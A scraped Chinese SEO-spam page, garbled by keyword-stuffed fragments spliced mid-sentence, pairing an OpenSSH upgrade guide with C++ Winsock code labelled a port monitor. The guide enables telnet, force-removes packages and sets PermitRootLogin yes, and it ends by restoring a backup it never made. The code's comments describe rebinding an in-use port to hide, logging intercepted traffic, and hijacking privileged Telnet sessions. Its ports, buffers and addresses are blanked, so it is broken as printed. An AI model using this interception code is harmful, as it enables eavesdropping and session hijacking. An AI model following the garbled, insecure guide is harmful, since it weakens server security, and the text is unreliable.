【源码资本出资】【exe源码怎么读】【波浪之子公式源码】telnet服务源码_telnet服务端

2024-12-28 21:22:41 来源:展示后台源码 分类:综合

1.如何平滑升级openssh,服务服务不影响root远程登录?
2.C++下如何实现端口监视

telnet服务源码_telnet服务端

如何平滑升级openssh,不影响root远程登录?

       为确保您的系统安全,可能需要更新OpenSSH至最新版本。源码此过程需同时更新OpenSSL和OpenSSH,服务服务因为OpenSSH依赖于OpenSSL。源码

       首先,服务服务检查当前使用的源码源码资本出资OpenSSH服务版本。执行命令:ssh -V。服务服务

       接着,源码为了防止在卸载OpenSSH过程中导致无法登录主机,服务服务安装并启动telnet服务。源码命令如下:

       使用yum -y install telnet安装telnet。服务服务

       使用yum -y install telnet-server安装telnet-server。源码

       启用telnet服务,服务服务exe源码怎么读命令为systemctl enable telnet.socket,源码并启动服务systemctl start telnet.socket。服务服务

       继续,准备更新OpenSSH所需的依赖包,命令为:yum -y install gcc keyutils-libs rpm-build krb5-devel libcom_err-devel libselinux-devel pam-* openssl-devel pkgconfig vsftpd zlib*。

       为了安全起见,波浪之子公式源码备份原有的SSH服务版本,执行以下命令:

       将/etc/ssh重命名为/etc/ssh.bak。

       将/usr/bin/ssh重命名为/usr/bin/ssh.bak。

       将/usr/sbin/sshd重命名为/usr/sbin/sshd.bak。

       下载最新版本的OpenSSH安装包,即openssh-9.7p1.tar.gz,游资攻击指标源码并将此安装包通过WinSCP上传至/opt文件夹。

       卸载原有版本的OpenSSH rpm安装包,先查看是否需要删除的依赖包,然后执行卸载命令。如果提示有依赖文件,则使用强力删除模式:

       使用rpm -e `rpm -qa | grep openssh`卸载。rocketmq选主源码

       若提示依赖文件存在,则使用rpm -e `rpm -qa | grep openssh` --nodeps强力删除。

       编译并安装新版本的OpenSSH,首先解压下载的安装包,然后进入解压路径编译安装:

       使用cd /opt进入目录。

       解压安装包tar zxvf openssh-9.7p1.tar.gz。

       使用命令cd /opt/openssh-9.7p1/进入安装目录。

       执行./configure --sysconfdir=/etc/ssh进行配置。

       验证OpenSSH的执行路径,执行命令:which sshd。

       复制源码解压路径下的开机启动脚本sshd.init到/etc/init.d/文件夹,并启动sshd服务:

       使用cp /opt/openssh-9.7p1/contrib/redhat/sshd.init /etc/init.d/sshd复制。

       使用systemctl daemon-reload和service sshd start启动sshd服务。

       修改配置文件sshd_config,允许root用户通过ssh远程登录,使用命令:sed -i "/#PermitRootLogin prohibit-password/c\PermitRootLogin yes" /etc/ssh/sshd_config修改。

       复制源码解压路径的ssh-copy-id文件至/usr/local/bin/,并赋予执行权限:

       使用cp /opt/openssh-9.7p1/contrib/ssh-copy-id /usr/local/bin/复制。

       使用chmod +x /opt/openssh-9.7p1/contrib/ssh-copy-id设置权限。

       最后,验证OpenSSH更新是否成功,执行/usr/local/bin/ssh -V命令查看结果,若显示为OpenSSH_9.7p1,则更新完成。

       完成以上步骤后,使用命令mv /etc/security.bak /etc/security重新启用安全文件。

C++下如何实现端口监视

       çœ‹çœ‹æœ‰æ²¡æœ‰ç”¨

       ==============

       #include "stdafx.h"

       #include <winsock2.h>

       #include <windows.h>

       //#include <stdio.h>

       #include <stdlib.h>

       #include <fstream.h>

       DWORD WINAPI ClientThread(LPVOID lpParam);

       int main(int argc, char* argv[])

       {

        if (argc!=2)

        {

        printf("using: listen [your ip address]\nfor example:\n listen ...2\n");

        return 0;

        }

        WORD wVersionRequested;

        DWORD ret;

        WSADATA wsaData;

        BOOL val;

        SOCKADDR_IN saddr;

        SOCKADDR_IN scaddr;

        int err;

        SOCKET s;

        SOCKET sc;

        int caddsize;

        HANDLE mt;

        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );

        err = WSAStartup( wVersionRequested, &wsaData );

        if ( err != 0 ) {

        printf("error!WSAStartup failed!\n");

        return -1;

        }

        saddr.sin_family = AF_INET;

        //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

        saddr.sin_addr.s_addr = inet_addr(argv[1]);

        saddr.sin_port = htons();

        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = TRUE;

        //SO_REUSEADDR选项就是可以实现端口重绑定的

        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

        {

        printf("error!setsockopt failed!\n");

        return -1;

        }

        //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;

        //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽

        //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)

        {

        ret=GetLastError();

        printf("error!bind failed!\n");

        return -1;

        }

        listen(s,2);

        while(1)

        {

        caddsize = sizeof(scaddr);

        //接受连接请求

        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);

        if(sc!=INVALID_SOCKET)

        {

        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);

        if(mt==NULL)

        {

        printf("Thread Creat Failed!\n");

        break;

        }

        }

        CloseHandle(mt);

        }

        closesocket(s);

        WSACleanup();

        return 0;

       }

       DWORD WINAPI ClientThread(LPVOID lpParam)

       {

        SOCKET ss = (SOCKET)lpParam;

        SOCKET sc;

        char buf[];

        SOCKADDR_IN saddr;

        long num;

        DWORD val;

        DWORD ret;

        //如果是隐藏端口应用的话,可以在此处加一些判断

        //如果是自己的包,就可以进行一些特殊处理,不是的话通过.0.0.1进行转发

        saddr.sin_family = AF_INET;

        saddr.sin_addr.s_addr = inet_addr(".0.0.1");

        saddr.sin_port = htons();

        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = ;

        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)

        {

        printf("error!socket connect failed!\n");

        closesocket(sc);

        closesocket(ss);

        return -1;

        }

        // 写入文件:

        ofstream oFile("portlog.txt");

        if(!oFile)

        {

        printf("cannot write to the file.\n");

        closesocket(ss);

        closesocket(sc);

        return 0 ;

        }

        while(1)

        {

        //下面的代码主要是实现通过。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。

        //如果是嗅探内容的话,可以再此处进行内容分析和记录

        //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。

        num = recv(ss,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(sc,buf,num,0);

        }

        else if(num==0)

        break;

        num = recv(sc,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(ss,buf,num,0);

        }

        else if(num==0)

        break;

        }

        oFile.close();

        closesocket(ss);

        closesocket(sc);

        return 0 ;

       }

更多资讯请点击:综合

推荐资讯

巴金森氏症患者 口腔照護最大的困擾之處

台灣已經邁入高齡化社會,罹患神經退化疾病的長者也越來越多,巴金森氏病是僅次於阿茲海默症,為盛行率第2名的神經退化疾病,從國健署的統計資料中顯示大於40歲開始罹患的比例開始增加。既然每個人都無法預測自己

天下國際週報:人類登月50週年 全球太空戰開打,中國搶當新霸主?|天下雜誌

今年是人類登陸月球50週年,最新一期《時代》雜誌和《經濟學人》的封面故事不約而同以太空作為主題。冷戰時代美蘇兩強間的太空計競賽,如今成了多國之間的角力戰,包括中國、印度等新興國家的實力和野心更是不容小

北京石景山做好特种设备监管 确保防控措施落实到位

在防疫防控期间,北京市石景山区市场监管局加大聚焦疫情防控一线工作面,尤其是辖区各大医院的特种设备一直是安全工作中的重点,特别是对承担新型冠状病毒收治定点医院任务的石景山医院压力容器进行定期检验,包括高